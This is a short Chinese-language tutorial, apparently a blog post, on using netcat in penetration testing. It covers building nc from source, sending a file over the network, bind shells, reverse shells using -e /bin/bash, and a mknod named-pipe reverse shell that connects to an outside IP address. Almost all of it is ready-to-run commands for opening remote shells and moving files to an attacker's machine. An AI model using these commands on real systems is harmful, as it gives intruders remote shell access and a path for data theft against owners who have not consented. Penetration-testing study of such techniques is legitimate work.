渗透测试中nc的使用

nc的安装

1.利用wget从sourceforge下载一个nc
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
2.解压
tar zxvf netcat-0.7.1.tar.gz
3.编译前配置
cd netcat-0.7.1
./configure
4.编译
make
5.运行
安装完成后进入src目录
./netcat -h

nc传输文件

在接收机器上执行
[vincent@iZ62luqzx5xZ src]$ ./netcat -v -l -p 2345 > /tmp/user.txt
在发送机器上执行
root@kali-vincent:/tmp# nc -v 49.213.15.229 2345 < user.txt

nc反弹shell

正向连接:
在远程机器上执行:
nc -l -p 8888 -t -e cmd.exe
在本地机器上执行:
nc -nvv 172.16.100.111 8888
成功之后,本地机器就获得一个远程机器的shell。

反向连接:
首先在本地使用nc开启端口监听
nc -vv -l -p 8081
然后在远端:
nc -vv 192.168.192.201 8081 -e /bin/bash
本地即可获取到shell

在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个
GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制
在Attack这边依然用nc -lnvp listenport监听某端口,在目标环境中依次执行以下命令:
root@kali-vincent:~# mknod /tmp/backpipe p
root@kali-vincent:~# /bin/sh 0</tmp/backpipe | nc 49.213.15.229 2345 1>/tmp/backpipe
第一条命令使用mknod在tmp目录下创建一个管道backpipe,第二条命令首先将默认shell环境的输入
重定向给刚才创建的管道,然后将输出通过nc attackerip
listenport重定向到攻击者一端,最后将shell的执行结果再重定向到管道中。